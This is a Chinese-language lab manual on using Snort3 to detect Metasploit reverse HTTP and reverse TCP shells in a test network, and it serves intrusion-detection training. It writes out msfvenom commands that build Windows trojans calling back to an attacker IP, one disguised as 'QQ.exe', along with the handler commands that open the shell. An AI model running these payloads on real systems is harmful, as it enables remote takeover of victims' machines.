【实验目的】
掌握针对检测分析Metaspliot的反向HTTP与Metaspliot的shell反向TCP、Metaspliot的文件上传下载。
【知识点】
snort3,Metaspliot分析与检测,文件上传分析与检测
【实验原理】
在1998年,Martin Roesch用C语言开发了开放源代码(Open Source)的入侵检测系统Snort。Snort已发展成为一个具有多平台(Multi-Platform)、实时(Real-Time)流量分析、网络IP数据包(Pocket)记录等特性的强大的网络入侵检测/防御系统(Network Intrusion Detection/Prevention System),即NIDS/NIPS。Snort符合通用公共许可(GPL------GNU General Public License),在网上可以通过免费下载获得Snort,并且只需要几分钟就可以安装并开始使用。
Snort有三种工作模式:嗅探器、数据包记录器、网络入侵检测系统。嗅探器模式仅仅是从网络上读取数据包并作为连续不断的流显示在终端上。数据包记录器模式把数据包记录到硬盘上。网络入侵检测模式是最复杂的,而且是可配置的。我们可以让snort分析网络数据流以匹配用户定义的一些规则,并根据检测结果采取一定的动作。
Snort能够对网络上的数据包进行抓包分析,但区别于其它嗅探器的是,它能根据所定义的规则进行响应及处理。Snort 通过对获取的数据包,进行各规则的分析后,根据规则链,可采取Activation(报警并启动另外一个动态规则链)、Dynamic(由其它的规则包调用)、Alert(报警),Pass(忽略),Log(不报警但记录网络流量)五种响应的机制。
Snort有数据包嗅探,数据包分析,数据包检测,响应处理等多种功能,每个模块实现不同的功能,各模块都是用插件的方式和Snort相结合,功能扩展方便。例如,预处理插件的功能就是在规则匹配误用检测之前运行,完成TIP碎片重组,http解码,telnet解码等功能,处理插件完成检查协议各字段,关闭连接,攻击响应等功能,输出插件将得理后的各种情况以日志或警告的方式输出。
Snort通过在网络TCP/IP的5层结构的数据链路层进行抓取网络数据包,抓包时需将网卡设置为混杂模式,根据操作系统的不同采用libpcap或winpcap函数从网络中捕获数据包;然后将捕获的数据包送到包解码器进行解码。
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
【软件工具】
- FTP 服务器:Windows Server 2008 1台;
- 操作机:ubuntu-desktop-20.04.5 1台;
- 恶意PC : Kali linux 1台;
- 交换机/路由 2台;
- 软件:Snort3、Hydra、nmap;
【实验拓扑】

【实验预期】
- 规则编写并检测Metaspliot连接。
- 规则编写并检测文件上传下载。
【实验步骤与结果】
1.分析与检测Metaspliot
现需制作Metaspliot windows木马,通过FTP进行上传。
(1) meterpreter http分析与检测
进入【恶意PC】控制台,新建终端输入msfvenom -p windows/meterpreter/reverse_http LHOST=140.250.74.206 LPORT=8080 -f exe -o /var/www/html/http.exe,并在终端上开启apache服务【service apache2 start】。使用msfvenom命令生成windows的系统木马,使用http协议反向连接Metaspliot,生成的木马名为【http.exe】,如下图所示。

注:假设此页面为黑客生成钓鱼页面,管理员需下载http此程序至ftp服务器的D盘ftp文件夹。
切换至【ftp服务器】,使用IE浏览器,下载http.exe文件,http://140.250.74.206/http.exe,依次保存至D盘ftp的文件夹,如下图所示。


新建终端输入【msfconsole】进入Metaspliot控制台,输入以下命令,建立监听终端。
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 140.250.74.206
exploit -j

打开wireshark,在【wireshark】界面中,单击【eth0】网卡接口,使用eth0监听,切换至【ftp服务器】,双击【http.exe】文件,如下图所示

停止抓包,过滤http请求【http.request】,并可以看到在终端中Metaspliot成功建立与ftp服务器连接,如下图所示。


在wireshark中,右键任意一行,依次选择【Follow】→【HTTP Stream】,查看HTTP数据流,可以看到user-agent用户代理用的都是这类,规则设置思路为检索user-agent的内容,如下图所示。

切换至【Snort】控制台,编辑/usr/local/etc/rules/local.rules文件中创建规则,在终端中使用vim命令进行local.rules规则编辑,添加规则如下图所示,完成后保存并退出。
alert http any any -> any any (
msg: "Metasploit User Agent String";
flow:to_server,established;
http_header:field user-agent;
classtype:trojan-activity;
content: "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" ;
sid:100000011;
)
规则的动作为alert,规则协议为http,地址、端口设置都为any,,msg为警告文字的信息,而content为user-agent中的用户代理,使用http_header选项检测user-agent的内容,使用classtype选项为trojan-activity检测到网络木马。

上述中的classtype关键字用于将规则分类为检测属于更一般类型的攻击类别的攻击。Snort 提供了一组默认的攻击类,由它提供的默认规则集使用。为规则定义分类提供了一种更好地组织 Snort 生成的事件数据的方法。
分类并具有不同的优先级,1-4,1最高,规则分类被定义在classification.config文件中。(优先级1(高)是最严重的,优先级4(非常低)是最不严重的。)
| 类型 | 描述 | 优先 |
|---|---|---|
| attempted-admin | 尝试获取管理员特权 | 高 |
| attempted | 尝试获取用户特权 | 高 |
| inappropriate-content | 检测到不适当内容 | 高 |
| policy-violation | 潜在的违反公司隐私的行为 | 高 |
| shellcode-detect | 检测到可执行代码 | 高 |
| successful-admin | 管理员特权获取成功 | 高 |
| successful-user | 用户特权获取成功 | 高 |
| trojan-activity | 检测到网络木马 | 高 |
| unsuccessful-user | 用户权限获取失败 | 高 |
| web-application-attack | Web应用攻击 | 高 |
| attemptd-dos | 试图拒绝服务 | 中 |
| attempted-recon | 企图泄漏 | 中 |
| bad-unknown | 潜在的不良流量 | 中 |
| default-login-attempt | 尝试使用默认的用户名和密码登录 | 中 |
| denial-of-service | 尝试拒绝服务攻击 | 中 |
| misc-attack | 杂项攻击 | 中 |
| non-standard-protocol | 检测非标准协议或事件 | 中 |
| rpc-portmap-decode | 解码RPC查询 | 中 |
| successful-dos | 拒绝服务 | 中 |
| successful-recon-largescale | 大规模信息泄漏 | 中 |
| successful-recon-limited | 信息泄漏 | 中 |
| suspicious-filename-detect | 检测到可疑文件名 | 中 |
| suspicious-login | 检测到使用可疑用户名的尝试登录 | 中 |
| system-call-detect | 检测到系统调用 | 中 |
| unusual-client-port-connection | 客户端正在使用异常端口 | 中 |
| web-application-activity | 访问潜在的易受攻击的Web应用程序 | 中 |
| icmp-event | 常规ICMP事件 | 低 |
| misc-activity | 杂项活动 | 低 |
| network-scan | 检测网络扫描 | 低 |
| not-suspicious | 没有可疑的 | 低 |
| protocol-command-decode | 通用协议命令解码 | 低 |
| string-detect | 检测到可疑字符串 | 低 |
| unknown | 未知流量 | 低 |
| tcp-connection | 检测到TCP连接 | 非常低 |
现在,在接口上以检测模式运行Snort,并将所有警报打印到日志目录。
snort -c /usr/local/etc/snort/snort.lua -i eth0 -s 65535 -k none -l /var/log/snort

新建终端使用tail -f 打印日志/var/log/snort/alert_fast.txt,可以看到snort警告日志输出Metasploit User Agent String告警文字,优先级为1,类型为网络木马,如下图所示。

(2) meterpreter 反向shell的tcp分析与检测
注:停止上述实验的一切运行snort的程序以及在【ftp服务器】中打开任务管理器,结束【http.exe】程序。
切换至【恶意PC】,新建终端输入msfvenom -p windows/shell/reverse_tcp LHOST=140.250.74.206 LPORT=4444 -f exe -o /var/www/html/QQ.exe。使用msfvenom命令生成windows的系统木马,使用TCP协议反向连接Metaspliot,生成的木马名为【QQ.exe】,如下图所示。

注:同样管理员下载QQ此程序至ftp服务器的D盘ftp文件夹。
切换至【ftp服务器】,使用IE浏览器,下载QQ.exe文件,http://140.250.74.206/QQ.exe,依次保存至D盘ftp的文件夹,如下图所示。

切换至【恶意PC】控制台,新建终端输入【msfconsole】进入Metaspliot控制台,如下图所示。

输入以下命令,建立监听终端。
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 140.250.74.206
run

重新打开wireshark,并使用eth0接口监听。
切换至【ftp服务器】,双击【QQ.exe】文件,如下图所示。

停止抓包,过滤tcp 4444端口【tcp.port == 4444】,并可以看到在终端中Metaspliot成功建立与ftp服务器连接返回的是cmd的控制台,如下图所示。

仔细观察数据包的内容,可以看到此处为Microsoft Windows字符串内容,与上述cmd的内容一样,此处可以检测Microsoft Windows字符串,如下图所示。
